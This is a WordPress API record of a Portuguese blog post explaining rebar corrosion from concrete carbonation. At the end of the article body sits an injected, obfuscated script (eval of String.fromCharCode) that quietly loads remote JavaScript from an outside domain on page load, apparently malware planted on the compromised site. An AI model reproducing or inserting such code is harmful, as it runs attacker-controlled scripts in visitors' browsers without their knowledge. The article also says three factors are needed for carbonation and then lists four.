{"id":3258,"date":"2022-12-06T22:05:54","date_gmt":"2022-12-07T01:05:54","guid":{"rendered":"https:\/\/engenheiroricardo.com\/?p=3258"},"modified":"2022-12-06T22:16:07","modified_gmt":"2022-12-07T01:16:07","slug":"teste","status":"publish","type":"post","link":"https:\/\/engenheiroricardo.com\/index.php\/2022\/12\/06\/teste\/","title":{"rendered":"A famosa corros\u00e3o de armaduras"},"content":{"rendered":"\n<p>Afinal, o que \u00e9 uma corros\u00e3o de armadura?<\/p>\n\n\n\n<p>Longe de ser amig\u00e1vel, essa manifesta\u00e7\u00e3o patol\u00f3gica no primeiro momento causa danos est\u00e9ticos na edifica\u00e7\u00e3o, por\u00e9m, se n\u00e3o tratada, ela prejudica o desempenho e a capacidade de resist\u00eancia das estruturas, nesse artigo vamos falar sobre a corros\u00e3o por carbonata\u00e7\u00e3o.<\/p>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"378\" height=\"504\" src=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image.png\" alt=\"\" class=\"wp-image-3261\" srcset=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image.png 378w, https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-225x300.png 225w\" sizes=\"auto, (max-width: 378px) 100vw, 378px\" \/><figcaption class=\"wp-element-caption\">Figura 1 &#8211; Corros\u00e3o da barra de a\u00e7o no pilar<\/figcaption><\/figure><\/div>\n\n\n<p>Para in\u00edcio de conversa, importante ressaltar que as armaduras que ficam dentro dos pilares, vigas e lajes, de maneira geral, s\u00e3o protegidas e passivadas contra o risco de corros\u00e3o. Essa prote\u00e7\u00e3o \u00e9 proporcionada pelo cobrimento do concreto, que forma uma barreira f\u00edsica que impede a entrada de agentes externos.<\/p>\n\n\n\n<p>Mas veja bem, se a mistura do a\u00e7o com o concreto proporciona a camada de prote\u00e7\u00e3o nas barras de a\u00e7o, como pode ocorrer a corros\u00e3o?<\/p>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"378\" height=\"504\" src=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-1.png\" alt=\"\" class=\"wp-image-3262\" srcset=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-1.png 378w, https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-1-225x300.png 225w\" sizes=\"auto, (max-width: 378px) 100vw, 378px\" \/><figcaption class=\"wp-element-caption\">Figura 2 &#8211; Corros\u00e3o da armadura na laje<\/figcaption><\/figure><\/div>\n\n\n<p>Essa anomalia pode acontecer por diversos fatores que agem simultaneamente, sempre deve ser analisado de forma sist\u00eamica por um profissional qualificado, o processo de corros\u00e3o \u00e9 uma a\u00e7\u00e3o espont\u00e2nea, derivada da necessidade de o material atingir o seu estado de menor energia, que \u00e9 o seu estado mais est\u00e1vel.<\/p>\n\n\n\n<p>Mas voc\u00ea pode ainda estar se perguntando: como o meio EXTERNO pode interferir na alcalinidade do concreto?<\/p>\n\n\n\n<p>Pois bem, os principais agentes motivadores da corros\u00e3o s\u00e3o: o di\u00f3xido de carbono (CO2) e os cloretos. Assim, quando o g\u00e1s carb\u00f4nico e a umidade agem em conjunto, eles d\u00e3o origem \u00e0 carbonata\u00e7\u00e3o do concreto, processo respons\u00e1vel pela deteriora\u00e7\u00e3o desse material, o processo de carbonata\u00e7\u00e3o \u00e9 facilitada quando a qualidade do concreto n\u00e3o \u00e9 adequada. Al\u00e9m disso, condi\u00e7\u00f5es como pequenas espessuras de recobrimento, elevada rela\u00e7\u00e3o \u00e1gua\/cimento, reduzidas as quantidades de cimento e os ciclos de umedecimento e secagem favorecem a velocidade da carbonata\u00e7\u00e3o.<\/p>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"393\" height=\"378\" src=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-2.png\" alt=\"\" class=\"wp-image-3263\" srcset=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-2.png 393w, https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-2-300x289.png 300w\" sizes=\"auto, (max-width: 393px) 100vw, 393px\" \/><figcaption class=\"wp-element-caption\">Figura 3 &#8211; Ensaio da frente de carbonata\u00e7\u00e3o no concreto<\/figcaption><\/figure><\/div>\n\n\n<p>Dessa forma, a carbonata\u00e7\u00e3o do concreto se caracteriza pela forma\u00e7\u00e3o de uma frente homog\u00eanea de avan\u00e7o que promove a forma\u00e7\u00e3o de zonas de pH distintos. Quando a frente de PH mais baixa atinge a regi\u00e3o do a\u00e7o, ocorre um ataque e a desestabiliza\u00e7\u00e3o da pel\u00edcula apassivadora da armadura, deixando esse material suscet\u00edvel a corros\u00e3o.<\/p>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"378\" height=\"504\" src=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-3.png\" alt=\"\" class=\"wp-image-3264\" srcset=\"https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-3.png 378w, https:\/\/engenheiroricardo.com\/wp-content\/uploads\/2022\/12\/image-3-225x300.png 225w\" sizes=\"auto, (max-width: 378px) 100vw, 378px\" \/><figcaption class=\"wp-element-caption\">Figura 4 &#8211; Corros\u00e3o da armadura em pilares<\/figcaption><\/figure><\/div>\n\n\n<p>Diante do exposto, para que a carbonata\u00e7\u00e3o ocorra, tr\u00eas fatores precisam estar dentro do concreto: Umidade, g\u00e1s carb\u00f4nico, di\u00f3xido de enxofre e o g\u00e1s sulf\u00eddrico.<\/p>\n\n\n\n<p>Por fim, ap\u00f3s compreens\u00e3o dos processos qu\u00edmicos respons\u00e1veis pela corros\u00e3o e os fatores preventivos para a sua incid\u00eancia, atuando atrav\u00e9s da pel\u00edcula apassivadora e do efeito barreira, espero que tenham a sensibilidade de perceber esses fen\u00f4menos e medi\u00e1-los para que n\u00e3o haja maiores danos \u00e0s estruturas.<\/p>\n<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Afinal, o que \u00e9 uma corros\u00e3o de armadura? Longe de ser amig\u00e1vel, essa manifesta\u00e7\u00e3o patol\u00f3gica no primeiro momento causa danos est\u00e9ticos na edifica\u00e7\u00e3o, por\u00e9m, se n\u00e3o tratada, ela prejudica o desempenho e a capacidade de resist\u00eancia das estruturas, nesse artigo vamos falar sobre a corros\u00e3o por carbonata\u00e7\u00e3o. Para in\u00edcio de conversa, importante ressaltar que as [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3265,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-3258","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artigos"],"_links":{"self":[{"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/posts\/3258","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/comments?post=3258"}],"version-history":[{"count":3,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/posts\/3258\/revisions"}],"predecessor-version":[{"id":3266,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/posts\/3258\/revisions\/3266"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/media\/3265"}],"wp:attachment":[{"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/media?parent=3258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/categories?post=3258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/engenheiroricardo.com\/index.php\/wp-json\/wp\/v2\/tags?post=3258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}